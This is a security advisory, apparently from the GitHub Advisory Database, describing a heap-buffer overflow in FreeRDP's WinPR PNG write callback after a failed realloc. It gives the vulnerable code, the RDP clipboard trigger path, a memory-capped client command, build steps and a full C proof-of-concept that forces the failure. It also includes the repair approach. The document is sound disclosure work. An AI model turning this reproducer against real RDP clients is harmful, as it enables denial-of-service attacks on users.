FreeRDP: Clipboard DIB-to-PNG conversion writes past the heap buffer after realloc failure
What fixes it
- 3.32.0FreeRDP, otherGitHub
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
Clipboard DIB-to-PNG conversion writes past the heap buffer after realloc failure
Summary
WinPR's libpng write callback retains the old output pointer when realloc() fails, but it tests only whether the pointer is non-NULL before copying the newly requested output chunk. It consequently writes past the committed allocation.
A real RDP clipboard peer can supply the CF_DIB data and dimensions that are converted through the stock clipboard-to-PNG path. Under bounded client memory, one 2048x2048 DIB and one conversion reproducibly cause a native client SIGSEGV; retained repeated conversions are no longer required. A diagnostic run observed a physical heap overwrite before the fault, and changing peer-supplied pixels changed the bytes written out of bounds.
The direct ASan and real product-pipeline results were reproduced on source equivalent to commit dbea8ef5d3eb680bbafbdeaf0cc81a6614070196 (3.31.0-60-gdbea8ef5d). Inspection of reporting-time upstream HEAD 69afd13014b3a5f5e32d649112ce6f06d8024449 (3.31.0-121-g69afd1301) confirms the vulnerable callback is still present.
Affected versions
- Confirmed affected releases: FreeRDP
3.10.0through3.31.0, when built withWINPR_UTILS_IMAGE_PNG=ONand libpng. - Regression commit:
83f2f21ad32270bd4b908a1d7104927e3aafe4e5, first included in release3.10.0. - Dynamically tested development revisions:
3.31.0-58-gf4eed14aaand3.31.0-60-gdbea8ef5d. - Confirmed affected source at reporting time:
3.31.0-121-g69afd1301. - No patched upstream release was known at the time of reporting.
Root cause
The vulnerable code is png_write_data() in winpr/libwinpr/utils/image.c:
size_t nsize = p->size + length;
if (p->buffer)
{
char* tmp = realloc(p->buffer, nsize);
if (tmp)
p->buffer = tmp;
}
else
p->buffer = malloc(nsize);
if (!p->buffer)
png_error(png_ptr, "Write Error");
memcpy(p->buffer + p->size, data, length);
p->size += length;When growth fails, tmp == NULL, but p->buffer still points to the old live allocation. The if (!p->buffer) test therefore does not report failure. The callback copies length bytes at the old logical end even though the allocation was not extended, then increases p->size as if the write succeeded.
Real RDP pipeline and native DoS
The exercised path is:
TCP -> TLS -> RDP -> joined cliprdr channel
-> CB_FORMAT_LIST(CF_DIB)
-> CB_FORMAT_DATA_RESPONSE
-> ClipboardSetData(CF_DIB)
-> ClipboardGetData(image/png)
-> WinPR image conversion
-> libpng png_write_data()
-> failed output growth followed by out-of-bounds memcpyThe peer sends one legal 2048x2048, 32-bpp DIB. The client performs one PNG conversion. The accepted trigger uses an ordinary RLIMIT_AS=210000 KiB; it uses no allocator wrapper, selected failure ordinal, preload interposition, retained results, repeated conversion, private setter or modified upstream source.
Representative client command shape:
prlimit --as=$((210000 * 1024)) -- \ ./clipboard-client --server=127.0.0.1 --port=43201 \ --request-format=CF_DIB --convert-to=image/png \ --repeat=1
Observed current/fix/control matrix:
| Case | Vulnerable build | Repaired build | | --- | --- | --- | | 2048x2048 DIB, one conversion, 210000 KiB | native SIGSEGV 3/3 | clean NULL, 3/3 | | 1024x1024 DIB, one conversion, same cap | clean 3/3 | clean 3/3 | | 2048x2048 DIB, one conversion, no cap | clean 3/3 | clean 3/3 |
Every row completed TLS/RDP, one clipboard format list and one 16,777,256-byte format-data response before conversion.
Direct ASan testing at exact failed-growth boundaries reports heap-buffer-overflow in png_write_data() through both the exported WinPR image API and the stock ClipboardGetData(CF_DIB -> image/png) synthesizer.
Observed write boundary
An observer-only diagnostic recorded this natural failed growth:
committed output size: 3404701 bytes requested new size: 3412893 bytes next write length: 8192 bytes
The callback started the 8192-byte libpng copy at owner + 3404701. In the accepted layout, 3,155 bytes were physically written into mmap tail slack before the copy reached an unmapped boundary and raised SEGV_MAPERR. The observed destination was not a live adjacent object.
Two equal-size DIBs with different peer-controlled pixel seeds generated equal-length PNGs. All 51 bytes in the observed overflow window differed, and 8,165 of the requested 8,192 chunk bytes differed. This shows that remote image content materially influences the out-of-bounds bytes. It does not establish independent control of every byte or the destination.
Build
git clone https://github.com/FreeRDP/FreeRDP.git cd FreeRDP git checkout --detach dbea8ef5d3eb680bbafbdeaf0cc81a6614070196 cmake -S . -B build -G Ninja \ -DCMAKE_BUILD_TYPE=RelWithDebInfo \ -DBUILD_SHARED_LIBS=ON \ -DWITH_SERVER=ON \ -DWITH_SAMPLE=ON cmake --build build
Ensure that libpng development files are installed and WINPR_UTILS_IMAGE_PNG is enabled in the configuration summary. For sanitizer attribution, add:
-DCMAKE_C_FLAGS='-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined' \ -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \ -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined'
Impact and limitations
This demonstrates a clipboard-peer-influenced client heap overflow and denial of service under bounded client memory. The peer controls the DIB dimensions and influences the deflate bytes written out of bounds. PNG support, client-side PNG conversion and a local memory ceiling are still required in the stable native reproducer; repeated conversion and retained outputs are not. The partial PNG is not returned to the caller or sent back over cliprdr. No information disclosure, arbitrary address/value write, live-object replacement, instruction-pointer control or code execution was demonstrated.
Suggested repair
Track callback failure separately from pointer ownership. If realloc() fails, mark the encoder failed and do not perform the copy or advance p->size. After libpng returns, release the retained output buffer and return a clean error through the existing row-allocation cleanup path.
A matched one-file repair using this approach returned NULL safely in all selected runs, stayed clean under ASan and passed the normal image/clipboard tests.
Minimal ASan reproducer (no attachment required)
Save the following as clipboard_png_realloc_poc.c. It constructs a valid CF_DIB, stores it in a real WinPR clipboard, and requests the stock synthesized image/png format. The fifth PNG callback realloc is failed deterministically so ASan attributes the resulting write directly to png_write_data().
#define _GNU_SOURCE
#include <errno.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winpr/clipboard.h>
#include <winpr/image.h>
extern void* __interceptor_realloc(void*, size_t);
static _Atomic unsigned long armed;
static _Atomic unsigned long calls;
void* realloc(void* owner, size_t size)
{
if (!atomic_load_explicit(&armed, memory_order_relaxed))
return __interceptor_realloc(owner, size);
const unsigned long ordinal =
atomic_fetch_add_explicit(&calls, 1, memory_order_relaxed) + 1;
fprintf(stderr, "PNG realloc %lu: %zu bytes\n", ordinal, size);
if (ordinal == atomic_load_explicit(&armed, memory_order_relaxed))
{
errno = ENOMEM;
return NULL;
}
return __interceptor_realloc(owner, size);
}
static uint32_t next_random(uint32_t* state)
{
uint32_t x = *state;
x ^= x << 13;
x ^= x >> 17;
x ^= x << 5;
*state = x;
return x;
}
int main(void)
{
enum { WIDTH = 128, HEIGHT = 128, STRIDE = WIDTH * 4 };
wImage image = { 0 };
BYTE* pixels = malloc((size_t)STRIDE * HEIGHT);
if (!pixels)
return 1;
uint32_t state = 0x6a09e667U;
for (size_t i = 0; i < (size_t)STRIDE * HEIGHT; i++)
pixels[i] = (BYTE)next_random(&state);
image.type = WINPR_IMAGE_BITMAP;
image.width = WIDTH;
image.height = HEIGHT;
image.data = pixels;
image.scanline = STRIDE;
image.bitsPerPixel = 32;
image.bytesPerPixel = 4;
size_t bmp_size = 0;
void* bmp = winpr_image_write_buffer(&image, WINPR_IMAGE_BITMAP, &bmp_size);
if (!bmp || bmp_size <= sizeof(WINPR_BITMAP_FILE_HEADER))
return 2;
wClipboard* clipboard = ClipboardCreate();
const UINT32 png = ClipboardRegisterFormat(clipboard, "image/png");
const BYTE* dib = (const BYTE*)bmp + sizeof(WINPR_BITMAP_FILE_HEADER);
const size_t dib_size = bmp_size - sizeof(WINPR_BITMAP_FILE_HEADER);
if (!clipboard || !png || dib_size > UINT32_MAX ||
!ClipboardSetData(clipboard, CF_DIB, dib, (UINT32)dib_size))
return 3;
atomic_store_explicit(&calls, 0, memory_order_relaxed);
atomic_store_explicit(&armed, 5, memory_order_release);
UINT32 png_size = 0;
void* output = ClipboardGetData(clipboard, png, &png_size);
atomic_store_explicit(&armed, 0, memory_order_release);
fprintf(stderr, "output=%p size=%u realloc_calls=%lu\n", output,
png_size, atomic_load_explicit(&calls, memory_order_relaxed));
free(output);
ClipboardDestroy(clipboard);
free(bmp);
free(pixels);
return 0;
}Build the tested revision with libpng enabled, then compile and run the PoC:
sudo apt-get install -y clang cmake ninja-build pkg-config libpng-dev git clone https://github.com/FreeRDP/FreeRDP.git cd FreeRDP git checkout --detach f4eed14aa8dadc44df320dcdde9dd8329a643d58 FLAGS='-O1 -g -fno-omit-frame-pointer -fno-optimize-sibling-calls -fsanitize=address,undefined' cmake -S . -B build-asan -G Ninja \ -DCMAKE_BUILD_TYPE=Debug \ -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ \ -DCMAKE_C_FLAGS="$FLAGS" -DCMAKE_CXX_FLAGS="$FLAGS" \ -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=address,undefined' \ -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=address,undefined' \ -DBUILD_SHARED_LIBS=ON -DWINPR_UTILS_IMAGE_PNG=ON -DWITH_LODEPNG=OFF \ -DWITH_CLIENT=OFF -DWITH_SERVER=OFF -DWITH_CHANNELS=OFF \ -DWITH_SAMPLE=OFF -DWITH_X11=OFF -DWITH_WAYLAND=OFF \ -DWITH_FFMPEG=OFF cmake --build build-asan --target winpr clang -std=gnu11 -O0 -g -fsanitize=address,undefined \ -fno-omit-frame-pointer -fno-optimize-sibling-calls \ -Ibuild-asan/winpr/include -Iwinpr/include ../clipboard_png_realloc_poc.c \ -Lbuild-asan/winpr/libwinpr -lwinpr3 \ -Wl,-rpath,"$PWD/build-asan/winpr/libwinpr" -ldl -pthread \ -o clipboard_png_realloc_poc ASAN_OPTIONS='detect_leaks=0:allocator_may_return_null=1:halt_on_error=1:symbolize=1' \ UBSAN_OPTIONS='halt_on_error=1:print_stacktrace=1' \ ./clipboard_png_realloc_poc
Expected result on the vulnerable revision:
PNG realloc 5: 8233 bytes
ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 8192
... png_write_data ... winpr/libwinpr/utils/image.c
... ClipboardGetData ... winpr/libwinpr/clipboard/clipboard.cUsing ordinal 8 is a second stable boundary (8245 -> 16437, followed by another 8192-byte write). Using a non-existent ordinal such as 999 is a clean success control. On the one-file repair, ordinals 5 and 8 both return NULL with output size zero and no sanitizer error.
Text from GitHub Advisory Database
Affected versions 1
- FreeRDP, other>= 3.10.0, <= 3.31.0GitHub